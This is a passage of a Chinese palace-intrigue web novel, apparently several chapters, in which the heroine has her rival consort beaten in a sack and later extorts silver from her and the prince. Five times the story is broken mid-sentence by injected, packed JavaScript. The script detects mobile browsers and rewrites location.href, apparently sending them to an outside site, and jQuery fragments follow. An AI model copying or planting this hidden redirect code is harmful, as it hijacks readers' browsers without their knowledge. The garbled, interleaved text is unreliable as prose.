望着乞丐们脏兮兮的打扮,阮莹莹下意识捂住鼻子,看向车边随从。 “夫人!”璎珞却惊慌回头,不住地眨着眼,“他们是,他们是……” “说好事后给我们一人一两银子,你敢不认账?终于让我们抓到了吧!” “给钱!给钱!” “别想赖账!” 璎珞的话还没说完,便被小乞丐们的七嘴八舌打断了。 其中还有一个年龄稍大些的,死死抓着璎珞的衣袖不放,“不然就把你让我们干的事告诉所有人!” 阮莹莹明白过来,面上神情变冷。 这是替她散布叶晚竹谣言的那些乞丐吧? 什么每人一两银子,她从来没说过这样的话! 一群乞丐,居然也敢趁火**到她头上来了! 不过那些话当然不能被嚷嚷出去,阮莹莹深吸一口气快步上前。 “想要银子,就都跟我来,找个安静地方说话!否则我现在就报官,你们觉得官府会相信谁?” 绫罗绸缎穿在身上,再加上这一身气势,让阮莹莹看起来非常不好惹。 几个小乞丐见状讷讷地住了手,互相对视几眼,老老实实地跟着阮莹莹往一旁的小巷中走去。 一边在前面带路,阮莹莹一边给璎珞使了个眼色。 这帮该死的臭乞丐,简直是胆大包天,不教训教训,怕是不知道什么叫天高地厚! 她今日出行可不是一个人,萧子景给了她四个武艺高强的随从,对付这些乞丐足够了。 要**,自然不能被看见,阮莹莹带头一直走到小巷深处,确定附近无人经过这才停了下来。 她转过头,跟在自己身后的是不安又期待的乞丐们,其后是一脸凶神恶煞的随从。 再往后…… 黑影一晃而过,还不等阮莹莹有所反应,便眼前一黑,失去了知觉。 —— “夫人,得手了!” 与花容阁相距一条街,尚未正式开张的蕴秀阁中,叶晚竹正和曼娘说着话,小花便一头冲了进来。 “狗蛋他们正在转移,接下来怎么办?”她的双眼仍是亮晶晶的。 曼娘的眼皮跳了两下。 虽然她已经听叶晚竹说过这小乞丐的事情,但看这架势,不知道的还以为这是从哪里来的土匪。 叶晚竹倒是面色平静,“我知道了,你先去车上等,我马上就来。” 响亮地“诶”了一声,小花又转头嗵嗵嗵地跑了出去。 叶晚竹收回目光,便看到曼娘的表情有些复杂。 “这孩子……” 怎么和根炮仗似的。 “曼娘,”叶晚竹正色几分,“我今日让小花到这里,就是为了让你瞧瞧。” 闻言,曼娘的神情也专注起来,“小姐您说。” “你在城中打听打听这小乞丐的来历,看看她有没有什么问题。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451860|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶晚竹的话说得隐晦,曼娘却能听懂,顿时皱起了眉头。 “查仔细点,别让人发现。”叶晚竹又朝着她一颔首。 若真是知恩图报的小乞丐,那自然是最好,但想到小花那一身的伤,还有她出现的时机,叶晚竹心里有些犯嘀咕。 “如果没问题就不用来禀报了,她帮了我不少忙,日后你多照拂些。” “我明白了,小姐放心。” 交代好曼娘,叶晚竹这才登上早已等在外面的马车。 书画陪着小花坐在里面,一见叶晚竹出现,小花便又激动起来。 “夫人夫人,狗蛋他们到了,咱们也快走吧!” 她摩拳擦掌着。 终于能教训说王妃坏话的人了! 马车已经启动,叶晚竹示意小花坐到自己身边来。 “一会儿你们要做什么都可以,但只有一点,不准出声,记住了没有?” “记住了!” 一炷香后,马车驶离京城,停在山脚下一处荒废破败的小庙之外。 这庙宇不知道荒废了多久,连院墙都塌了一大半,小花走在前面给叶晚竹引路,却是驾轻就熟。 王妃有令,不许出声,小花生怕自己记不住,空出一只手捂着嘴巴。 三人很快走到同样四处漏风的大殿外,狗蛋一行正蹲在废墟里,看见她们齐齐咧开了嘴。 小花连忙伸手比划着。 都闭嘴! 这是提前商量好的,一众小乞丐连忙噤声。 叶晚竹往大殿里看去。 屋里唯一一面墙边靠着个**袋,里面鼓鼓囊囊,不停动作着,还有紧张的呜呜声传来。 是阮莹莹和璎珞。 隐风这时候从房顶上一跃而下,朝着叶晚竹点了点头。 一切就绪。 他身上带着很淡的血腥味,叶晚竹只当不觉,招呼着小花等人往大殿里去。 麻袋中,阮莹莹和璎珞已经醒来,发现自己被捆住手脚,堵住嘴巴动弹不得,肝胆俱裂,拼命蠕动着想逃出生天。 察觉有脚步声响起,阮莹莹眼中闪过一丝激动的光—— “唔!” 第六十二章 你把莹莹的魂还来! 拳打脚踢雨点般落下,阮莹莹的脑子顿时嗡地响了一声! 是谁? 谁要打她? 叶晚竹? 第一个跃入脑中的便是这个名字,阮莹莹却又犹豫起来。 叶晚竹要想打她,不用这么偷偷摸摸的吧? 还有谁这么恨她? 不停躲避着四处落下的拳脚,阮莹莹的脑袋很快就变得混乱起来。 麻袋里空间有限,两个人又挤成一团,谁也躲不开,被揍得哀哀惨叫,却只能在地上蠕动。 叶晚竹带头踢了几脚,做了示范就退到了殿外,看着小花一行捂着嘴将麻袋踢来踢去。 她的确不怕正大光明地揍阮莹莹,但阮莹莹挨了她那么多打,再多一次也没什么大不了的。 她动手,阮莹莹报复,循环往复,有点无聊。 她就要让阮莹莹迷惑,不解,继而惶惶不可终日,绞尽脑汁去猜到底是谁下的手。 这才好玩。 “王妃。” 趁着大殿里的动静,隐风压低声音走到叶晚竹身边。 “那个乞丐您要留吗?” 阮莹莹身边那四个随从已经被处理掉,如今后院只剩下一个瑟瑟发抖的大乞丐。 “等这边结束再放他走,”叶晚竹也压低了声音,“让他管好自己的嘴巴。” 隐风又一点头。 掐着时间让阮莹莹挨了一炷香的打,叶晚竹才让小花一行住手。 彼时麻袋里的两人早已经放弃了挣扎,只能看到呼吸时微弱的起伏。 隐风留下来善后,叶晚竹将这些小乞丐带上回京的马车,扬长而去。 猜吧,猜猜凶手到底是谁? 阮莹莹醒来的时候眼前一片漆黑,外面的天色已经彻底暗了下去。 四周一点灯火都没有,她摸索着叫醒璎珞,二人跌跌撞撞地冲到院中,迎上月光终于松了口气。 但也只是一瞬间,很快,发现自己正在一个完全陌生的地方,阮莹莹又着慌起来。 这前不着村后不着店的,她要怎么回王府去? 一阵冷风吹过,阮莹莹打了个哆嗦,望着眼前的黑暗,忍不住开始瑟瑟发抖,挨过打的酸痛也后知后觉地漫了上来。 “夫人……”璎珞同样打着哆嗦,哭丧着脸,“这下,这下怎么办啊……” 阮莹莹闭了闭眼。 问得好。 她也想知道,现在该怎么办! 黑灯瞎火的,连脚下的路都看不见,阮莹莹试着往外走了几步,很快便放弃了离开的想法。 “王爷肯定已经发现我不在府中了,他会派人来找咱们的。”无奈之下,阮莹莹只能喃喃低语。 “等吧。” 破庙四面透风,入夜后冷得人直打哆嗦,阮莹莹和璎珞只好抱在一起取暖。 “夫夫夫人……” 璎珞冻得直打哆嗦,口齿不清,却还是道,“您有没有听见什么动静?” “什,什么动静?”阮莹莹这会儿也冷得牙关打颤。 “好,好像有人……” 这伸手不见五指的地方,哪里有人? 阮莹莹正要说话,身子忽然一僵。 不知道是不是错觉,她好像真的听见了窸窸窣窣的声音! 猛地扭头朝发声的地方看去,阮莹莹却什么都看不清,正在努力,后脖颈忽然一凉! “啊——” 好像有人往她脖子里吹气! 尖叫一声,阮莹莹猛地跳起来,“谁?是谁!” 她还没喊完,璎珞的尖叫声也跟着响起,“有东西摸我!” 几乎是与此同时,阮莹莹也感到自己脚背上有什么一扫而过! 老鼠?蛇? 还是……鬼? 她浑身僵硬着和璎珞对视一眼。 方才的异动不知道什么时候已经彻底消失,屋中死一般地寂静。 阮莹莹能听见自己的心正疯狂地跳动着,她转着眼珠子四下看看,只觉每一个漆黑的角落似乎都鬼影重重。 “走,出去!”她咽了咽口水,一刻也不想再呆在这个地方。 璎珞显然也是如此,两人一步三扭头,战战兢兢地往门外而去。 至少外面还有月亮! 蹑手蹑脚走到门前,阮莹莹正要迈步,脚腕忽然一软,毫无准备地跌倒在地! “夫——” 璎珞只来得及发出一点声音,紧跟着也一头栽倒下去!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451861|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后颈的凉风再度袭来,两人不约而同地瞪大双眼。 “啊!!” —— 叶晚竹是被一阵喧哗声吵醒的。 屋外的天还黑着,看不见一丝光亮,动静却一浪高过一浪,活像菜市场。 难道萧子景穷疯了,打算在王府练摊? “让叶晚竹滚出来!” “放我进去!” “滚,这是景平王府的地盘!” 刚想到萧子景,这位的吼叫声便响了起来。 其间还夹杂着隐风和隐川的声音,叶晚竹听了一会儿,披上衣服起了身。 书画早被吵醒了,听见屋里的动静,连忙进来伺候。 “这是发什么疯?” “阮姨娘回来了,”书画压低声音,“三更多才进了府门,王爷抱着回春风居的,后来院子里就乱起来了,听说阮姨娘好像是受了惊吓,一直喊有鬼!” 叶晚竹穿衣服的动作停了停。 三更多才回来? 白日里她安置了小花等人回府,那时候才中午,萧子景听说阮莹莹不在府中,已经派人去找。 找了这么长时间? “阮姨娘的情况估计不好,王爷的脸色难看得吓人,一个劲喊着要王妃负责。” 替叶晚竹整理着头发,书画对着铜镜撇了撇嘴。 什么事都怪她家王妃! 不过这一回倒真不能怪萧子景多想。 “王爷是不是发现了?”书画小声道。 “要真是发现了,他就不止是这么嚷嚷了。” 整理好衣裳,叶晚竹站起身来。 “走,出去瞧瞧到底怎么回事。” 就算萧子景找人的速度慢了点,怎么说阮莹莹也是一个人跑到过西北去的,今天又有璎珞陪着,还不至于吓成这个样子。 莫非是在装模作样? 那就有意思了。 主仆二人来到院门前的时候,隐川和隐风正并肩站着,像两堵墙一样挡在萧子景身前。 萧子景进不来潇湘院,只能高声叫骂,言辞越发不堪入耳。 看到叶晚竹出现,他的眼睛顿时一片赤红! “贱妇,你把莹莹的魂还来!” 第六十三章 我来替你驱驱鬼吧! 还魂? 叶晚竹神情复杂地看着萧子景。 她觉得丢了魂的应该是另有其人。 “让开,都给本王让开!” 见她不语,萧子景先朝着隐风隐川咆哮,无果后又狠狠瞪着叶晚竹。 “是不是你装神弄鬼吓坏了莹莹?叶晚竹,我警告你,莹莹要是有个什么三长两短,本王要你偿命!” 叶晚竹原本还在回味萧子景这几句话,闻言顿时冷笑了一声。 “王爷找替罪羊也得讲点基本的道理吧?我什么时候装神弄鬼,难道王爷看见了?” 她一听就知道萧子景对此事毫无头绪。 却还是能第一时间怪到自己身上来! “你还敢狡辩!”萧子景的情绪更加激动,“除了你,还有谁会害莹莹?你这毒妇,本王,本王——让我进去!” 他猛烈地推着隐风隐川,跳着脚大声吼叫,又手舞足蹈地要突破二人的围堵,看起来更像是个疯子。 “叶晚竹,有本事,你这辈子都别出来!本王等着弄死你!” 折腾得气喘吁吁仍是没有进展,萧子景隔着隐川的耳朵,恶狠狠地指着叶晚竹。 他眼底杀意迸发,到底是上过战场的人,萧子景这一眼看过来,书画忍不住打了个哆嗦。 叶晚竹上前挡住萧子景的目光,神色也变得冷厉。 “王爷只有这点会放狠话的本事?那可不行。” “书画,取金杖来!” 一听这两个字,一脸疯狂的萧子景忽然浑身一滞。 “你,你要干什么?”他梗着脖子看向叶晚竹,“你自己做错了事不承认,竟然也有脸拿金杖压人?” “王爷都有脸来没事找事呢,我学学王爷的厚脸皮有何不可?” 接过金杖,叶晚竹上前两步,示意隐风和隐川让开。 她面无表情,手持凶器,大门已经敞开,萧子景却下意识地后退了半步。 “哟,忽然不想咬人了?” 看着他的动作,叶晚竹嘲讽地笑了起来。 还不等萧子景再说什么,她忽然出手,一杖子抽了上去! 这一下正中萧子景面门,他短促地哀嚎一声,捂着鼻子踉跄后退。 “隐风!扶好王爷。” 叶晚竹收了金杖,语气冷酷,“随我一道去春风居看看,阮姨娘的魂儿到底丢了没有?” 她倒是要亲眼看看究竟是怎么一回事! 隐风半拖半抱,强硬地架着萧子景,与叶晚竹一行到了春风居外。 院中灯火通明,亮如白昼,丫鬟嬷嬷不住地进进出出,皆是神情紧张。 看到萧子景的狼狈模样,还有一身不善的叶晚竹,院中人的脚步都是一顿。 与此同时,低低的说话声从屋中传来,透着惊恐。 叶晚竹抬腿便往阮莹莹房中走去。 “别过来,别过来……” 阮莹莹在床角蜷缩成一团,双眼呆滞,神情恍惚,只不住地喃喃自语着。 璎珞不在屋中,其他几个丫鬟围在床边,小心翼翼地喊着阮莹莹的名字。 “毒妇,你要干什么?不许你再恐吓莹莹!” 萧子景被隐风拿着,被迫站在院中,只能高声大喊。 这个时候,叶晚竹已经走到床边,和阮莹莹对上了视线。 一抹慌张从她眼底一闪而过,让阮莹莹瞬间显得清醒了不少,眼神都变得灵动。 叶晚竹勾了勾唇,阮莹莹又是一僵。 “别,别过来!有鬼,有鬼啊!”她欲盖弥彰地大喊起来,“你别过——啊啊啊!” 叶晚竹一杖子向阮莹莹抽了过去! 她就知道是装的! “听说阮姨娘丢了魂儿?巧了,本王妃知道一个民间偏方,保管能把姨娘的魂儿喊回来!” “姨娘这是心神不宁,被恶鬼趁虚而入,侵占了躯壳,只要挨上本王妃一百杖子,将那恶鬼打跑就好了!” “这金杖还是圣上御赐,有天子之气庇佑,什么妖魔鬼怪都得退避三舍!” 口中说着话,叶晚竹劈头盖脸地朝阮莹莹抽了过去! 阮莹莹未必认为今日之事就是出自她的手笔,却还是打算将计就计,给她找麻烦! 好在这件事倒也不算麻烦,连说辞都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456036|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现成的! 叶晚竹下手毫不留情,阮莹莹很快就受不住了,从床上一头滚落在地,而后手脚并用地向外爬去! “姨娘怎么跑了,一定是恶鬼发动了!” 举着金杖毫不费力地追了上去,叶晚竹一边想着幽云**的那套话,一边又是几杖子狠狠打下! 阮莹莹尖叫着,“王爷救我!” “恶鬼好狡猾!会惑人心智!”叶晚竹又是一杖,“隐风,莫要让王爷心软,免得半途而废!” “叶晚竹!”萧子景的吼叫声响彻云霄。 可惜没用,他被隐风死死按着肩膀,连一动都不能动,只能眼睁睁地看着阮莹莹满院逃窜。 金杖不间断地落下,阮莹莹躲也躲不开,忽然灵光一闪! “我,我没疯……不对,我好了,我好了!”她大喊一声。 既然她已经好了,叶晚竹就没有再动手的理由了吧! “哦?” 闻言,叶晚竹当真住了手,似笑非笑地瞅着一身狼狈的阮莹莹。 “姨娘真的好了吗,有什么证据?还不到一百杖,那恶鬼可能只是暂时躲起来了呢?” 阮莹莹又是一阵胆寒,险些将嘴唇都咬破。 早知道,就不该用这种办法对付叶晚竹! 反而让她学去一招! “我……我能感觉到那恶鬼已经走了!”阮莹莹转着眼珠子,“可能是害怕御赐之物吧。” “原来如此。” 叶晚竹煞有介事点了点头,又道,“虽然我不能确定,但既然阮姨娘都这么说了,日后那恶鬼若是再出现,本王妃就帮你继续抽它好了。” 阮莹莹又哆嗦起来。 还有下次? 她是不是掉进叶晚竹挖的坑里了? “还有一件事——” 笑眯眯地看着阮莹莹青白交接的脸色,叶晚竹上前一步。 “为了替姨娘驱鬼,本王妃费了好大的力气,还要承担被恶鬼报复的危险,更别说还要听王爷的大吼大叫——” 她摊开手掌,平放在阮莹莹面前。 “辛苦费,一百两银子。” 第六十四章 挨金杖打,交私房钱 阮莹莹差点儿一口气上不来昏过去。 挨了半天打,她还要掏钱? 叶晚竹这**! “嗯?姨娘的眼神瞧着又有些迷茫了啊……” 看着阮莹莹不甘不愿的模样,叶晚竹忽然又压低了声音。 “看来那恶鬼果然没走,本王妃还是继续——” “没,我没有!” 见她又要举起金杖,阮莹莹浑身一颤,再顾不上心疼,“给钱,我给你银子!” 要是再让叶晚竹打下去,说不定更加人财两空! “那就拿来吧。”叶晚竹的笑容又变得灿烂。 阮莹莹咬了咬嘴唇,微妙地顿了一下,才忍着一身火辣辣的疼痛下了床,从梳妆台边缘摸出一个小盒子,拿出一百两银票递给叶晚竹。 一道惊愕的目光落在她身上,阮莹莹咬了咬嘴唇,权当什么都没看到。 叶晚竹接过银票,一边斜晲着屋外脸色难看的萧子景。 自从她拿走朝廷发的俸禄,萧子景囊中是一日比一日羞涩,听说没少到同僚下属家中蹭饭。 现在忽然发现自己最信任宠爱的女人竟然有私房钱…… “姨娘大方,下次若是再犯病,本王妃继续来帮你的忙。” 笑眯眯地拍了拍阮莹莹的肩膀,叶晚竹也权当看不见她青白交加的脸色,拎起金杖转身走到院中。 萧子景还被隐风按着站在原地,见到叶晚竹出来,他的表情十分复杂。 他竟然冤枉了叶晚竹? 这一晚上的惊心动魄,都是阮莹莹演出来的? 她还背着自己藏了私—— “嗷!” 剧痛袭上腹部,萧子景猝不及防地大喊一声,用力弓起上半身,额头上顿时冷汗直冒。 他想逃脱,身子却被死死按住,只能眼睁睁地看着叶晚竹再一次抽了上来。 “下次再不分青红皂白,跑到潇湘院来撒野,王爷的眼睛就别要了,反正也不用。” 狠狠落下几杖,眼见萧子景狗一样蜷缩着躲避,叶晚竹才停下动作。 “我看那恶鬼对王爷的影响也不小,顺便帮你驱两下,给五十两银子就行。” “什么——?” 被抽得耳鸣目眩,萧子景难以置信地抬起头来。 五十两银子? 还就行? 叶晚竹又举起金杖—— “给,我给!”萧子景慌忙捂住自己的脸,又感到一丝难堪。 他手里现在连五两都没有! “……先欠着,等过段日子,本王再给你……”他含含糊糊地说着,顺便把自己的脑袋护得更紧。 叶晚竹的抽打却迟迟不曾到来。 “好啊,”她反倒一口应下,“不过王爷可要尽快,下个月,我就要收利钱了。” 还有利钱? 要收多少? 萧子景抬起头,还想说些什么,叶晚竹已经带着一行下人扬长而去! 盯着叶晚竹的背影看了半晌,萧子景的呼吸渐渐变得粗重。 这贱妇会放过压榨王府钱财的机会吗? 不会! 一把甩开两个上前将他搀扶起来的丫鬟,萧子景跌跌撞撞地朝着一脸犹豫的阮莹莹而去。 阮莹莹手中还拿着藏银票的小木盒,见萧子景面色不善,有些结巴,“王,王爷——” “你还有多少银子?” —— 太阳升起的时候,叶晚竹收到了冬生送来的五十两银票。 “王爷怎么自己不来?”将银票搁在桌上,她朝冬生扬了扬下巴。 冬生打了个哆嗦,面上表情十分为难。 “王爷、王爷在、在看伤呢!”他吭哧了半天才挤出一句话。 叶晚竹似笑非笑,拖长了音调哦了一声。 府里压根没来大夫,萧子景手里也没有五十两,这银票,肯定是从阮莹莹那里要来的了。 不知道这两个人现在是什么模样? 饶有兴趣地想着,叶晚竹连笑容都明亮了几分。 冬生则是有气无力地垂着脑袋。 阮姨娘藏了私不假,倒是正好能应王爷的急,看在这份儿上,王爷并未多说什么,也只要走了五十两银子。 可阮姨娘已经在屋中哭了一个多时辰了,不知道两人都说了什么,王爷在里面劝也劝不住。 想到那凄凄切切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456037|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无休无止的抽泣,冬生就头疼! 他现在还有没有机会到潇湘院这里来做事? 王妃这里清净多了,还能填饱肚子! 天知道,他隔三差五就要跟着王爷去打秋风的日子有多难堪! 那些大小将军不敢对王爷明着冷嘲热讽,就全都转移到他身上,还故意克扣他的饭食! 想着,冬生悄悄抬起头,羡慕地看着站在不远处的隐风隐川。 一看就是顿顿都能吃饱饭的—— 然后他就对上了一双无情的眸子。 “……小的,小的告辞了!”打了个冷战,冬生忙不迭地行礼逃跑! 这地方虽然好,可他承受不起! 见人离开,叶晚竹转手将银票递给书画,“王爷赏的,你收着吧。” 书画喜笑颜开地接过来放进怀中,又道,“看来奴婢得时常看看,那恶鬼是不是又出现了。” 打一次“恶鬼”收获颇丰,难怪幽云**这么热衷于此! 叶晚竹闻言笑了笑,又站起身,“好了,收拾一下,咱们去蕴秀阁。” 铺子已经收拾得差不多,开业在即,要做的事情还有很多。 按照叶晚竹的记忆,最多再有半月,南疆大胜的消息便会传来,前往那边的事情也该安排上日程了。 换了身衣裳来到王府外,叶晚竹刚要上马车,便见着一道有些熟悉的身影出现在车厢旁边。 是隐月。 “王妃,”他躬了躬身子,“九千岁邀您过府一叙。” 这煞神已经消停了不少日子,怎么忽然得闲了? 毕竟是一见如故,叶晚竹挑了挑眉,“那就走吧。” 隐月充当车夫,驾着马车一路往宫城附近而行,却并没有将叶晚竹带到东厂,而是拐了几个弯,停在都督府门前。 望着比东厂更显得气派几分的大门,叶晚竹也不由得眨了眨眼。 此处规格堪比宫中,圣上竟然也能容许? 经历了上一次的面圣,叶晚竹这会儿忽然感到有些说不出的怪异。 隐月在前面催促,她很快打起精神,跟着走进院中—— “属下该死,给王妃请罪!” 第六十五章 自当对王妃,言听计从 隐翼的声音从不远处传来,叶晚竹一抬头,便看到他正赤裸着上半身,结结实实地跪在地上。 身上的伤痕还在沁着血,背上还背着一大把荆棘丛生的木条,隐翼低垂着脑袋,模样瞧着十分可怜。 叶晚竹慢下脚步,着实疑惑。 这是犯了什么错,为什么要向她请罪? “王妃。” 谢无咎带着笑意的声音响起,人也已经走到廊下。 隐翼就跪在石阶之外,血迹滴落一地,他却仿佛什么都没看见一样。 “九千岁这是为何?”叶晚竹朝着隐翼抬了抬下巴。 谢无咎垂眸看去,顿时收起笑容。 “自己说吧。”他语气不辨喜怒。 隐翼膝行几步,朝叶晚竹靠近了些。 “王妃……属下擅作主张,对阮姨娘动了手,险些让王妃背了罪名,属下有罪!” ……这里面还有阮莹莹的事? 叶晚竹沉默着继续听隐翼说话。 隐翼负责暗中盯视景平王府,阮莹莹自然是重点之一,这位姨娘对景平王妃有多少恶毒的心思和盘算,他听到的都数不过来。 叶晚竹要出手惩治阮莹莹,隐翼自然不会阻挠。 不仅如此,他还要添一把火! 只是蒙上麻袋打一顿,好像有些不够过瘾啊。 敢算计王妃? 吓死你好了! 身为谢无咎的手下,装神弄鬼于隐翼简直是信手拈来,保管让阮莹莹吓破胆子,再也不敢胡作非为! 只是隐翼没想到,阮莹莹是被他吓着了没错,可是好像吓疯了! 那破庙外面就是山,黑漆漆的,伸手不见五指,阮莹莹拉着她的丫鬟,就这么跑进去了! 景平王爷的手下也都是废物,大半天找不到位置,隐翼费了九牛二虎之力,才把满山乱跑的两人送到萧子景面前。 本以为这场闹剧终于结束了,却没想到,阮莹莹分明一副被吓傻了的样子,背过脑袋,却还想着要诬陷景平王妃! 眼见捅了篓子,隐翼不敢放松,连忙前来找九千岁请罪。 “……都是属下的过错,请王妃责罚!” 说完话,隐翼又朝着叶晚竹的方向垂下头去。 叶晚竹这会儿正是恍然大悟的时候。 难怪阮莹莹耽搁了这样久才回府,难怪萧子景会说她丢了魂。 原来是有人好心办了坏事。 “多事的奴才,又是一个自作主张的,本督要你何用?” 又听了一遍隐翼做的好事,谢无咎神情阴冷,一脚将隐翼踹翻在地,抬眼看向叶晚竹。 “此人交由王妃处置吧。” “这倒不必,”叶晚竹摇了摇头,“隐翼是都督的手下,我怎好越俎代庖?” 闻言,谢无咎仍带着一丝寒气的目光又直勾勾地朝着叶晚竹看来。 他视线定格片刻,忽然轻笑一声,快步走到叶晚竹身前。 “王妃说的倒也没错,是本督没有管教好手下,才给王妃惹了麻烦。” 低声细语着,谢无咎的声音又变得柔和几分。 “俗话说,打狗要看主人,训狗也是一般,王妃觉得处罚隐翼不够尽兴,不若……本督亲身向王妃,负荆请罪?” 一字一字道出,谢无咎眼底的光亮变得更甚几分。 “这样的诚意,应该足够王妃消气了吧?” 谢无咎的声音近在耳畔,分明是个大活人,可落在叶晚竹耳边的吐息却冰冷慑人。 叶晚竹忍不住上下打量着这位九千岁大人。 这是什么毛病? “妾身若是答应,九千岁可会反悔?”她勾了勾嘴唇。 难道一人之下万人之上的谢无咎,真会跪在地上给她打不成? 谢无咎的双眼却越发亮得惊人。 “只要王妃开口,本督绝对奉陪。” 看他这模样,好像当真迫不及待想挨打似的。 叶晚竹咽了咽口水,忍住真想动手的冲动。 “阮莹莹对我向来心怀不轨,就算没有隐翼,十有**,她也会栽赃到我头上。” 抬起目光,叶晚竹回望着谢无咎。 闻言,谢无咎收起玩味的笑意,略带惋惜地叹了口气。 “王妃大度,隐翼,还不谢恩?” “属下谢过王妃!”隐翼将身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456038|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弯得更低了。 “王妃放过你,本督却嫌你**手毛脚,明天就去地牢领五十大板,好好长长记性。” “滚吧。”他不耐烦地一挥手。 “属下遵命!” 隐翼正要离开,叶晚竹却又道:“且慢。” “王妃还有何话要说?”谢无咎侧目看来。 “阮莹莹又吃了个大亏,势必要报复回来,隐翼若是受刑,这段时间就不能盯梢了吧?” 叶晚竹也歪了歪头。 “九千岁不如用他将功补过?” 谢无咎的神情微妙地顿了一顿,再看向叶晚竹的时候,便多了些了然意味。 “原来王妃绕了个圈子,还是想让本督放他一马啊。” 眨了眨眼,叶晚竹并未否认。 隐翼有心帮她办事,她总不好见死不救。 “王妃对这奴才如此宽容心软,倒叫本督有些羡慕。”谢无咎的语气听上去好像在哼歌,让人分不清他心绪究竟如何。 叶晚竹忍不住提醒他:“我刚才也放过了都督一回。” 没有真在他身上抽几杖子。 闻言先是一愣,谢无咎旋即朗声大笑起来,好像听见了什么好消息一般。 “好好好,”他拍着手,“那本督可要感谢王妃的高抬贵手之恩!” “至于隐翼……” 话锋一转,谢无咎的目光也跟着看去,在隐翼伤痕丛生的后背上打了个转,又带着笑意回到叶晚竹面上。 “虽然是本督的手下,但王妃对他有令,他自当……言听计从。” 说这话时,谢无咎语气缱绻,眼中更是带着说不出的深意。 直到离开都督府,坐上回程的马车,叶晚竹眼前依旧闪烁着这副景象。 继喜怒无常,阴晴不定之后,这位的性子似乎开始朝着野马脱缰的方向发展而去。 “王妃……”书画也语气惴惴,“九千岁,九千岁他……” 方才九千岁看着自家王妃的模样,让她不知怎么想起了已故的老爷。 从前还在叶家的时候,老爷看着夫人,便是那样的神态! 可,可九千岁是太监啊! 第六十六章 盯着那些乞丐! 难道…… 书画瞪大了双眼朝叶晚竹看去,不敢贸然开口,只把问题都写在眼神里。 叶晚竹沉默一瞬,抬手掩住她的双眼。 “走了,去蕴秀阁。” 就算谢无咎真有这样的心思,他是权倾朝野的大太监,而她是景平王妃;不想闹到圣上面前,他该知道怎么做才最好。 若他真要疯得不管不顾……叶晚竹也势必不会让他得逞。 叶晚竹的马车前往蕴秀阁的时候,阮莹莹顶着一双哭得烂桃一般的双眼,神情冷漠地打开了房门。 萧子景已经上朝去了,还又拿走了她一张五十两的银票! 那盒子里的银票是阮莹莹发现王府情况不好后匆匆攒下的,本来就没多少,一下损失二百两,她这会儿浑身都在发抖。 “璎珞呢?醒了没有?” 看着站在院中瑟瑟发抖的丫鬟,阮莹莹皱着眉头问道。 在那破庙之中,阮莹莹虽然也受了不小的惊吓,但并未受伤,见到萧子景便已经很快地恢复了过来。 璎珞就没这么幸运了,在山里逃窜的时候崴了脚,又险些坠崖,被找到后便一头昏了过去。 见着小丫鬟点头,阮莹莹抬脚就往下人房里去。 璎珞确实已经醒了,惊魂未定,脸色还有些苍白,看见阮莹莹进到屋中,她顿时呼吸一窒。 “姨娘……都是奴婢办事不利!” 那些小乞丐是因为她才缠上来的,醒来后想到这儿,璎珞便一阵阵地心虚紧张。 她把阮姨娘害成这样,姨娘一定不会放过她的吧? “算了,不能怨你。” 阮莹莹语气温和,璎珞闻言难以置信地抬起头来。 “是那幕后之人阴险狡诈。” 继续温声说着话,阮莹莹一双手却紧握成拳,指甲深深陷进手心的软肉里。 她恨不得也找根杖子,狠狠地在璎珞身上抽一顿! 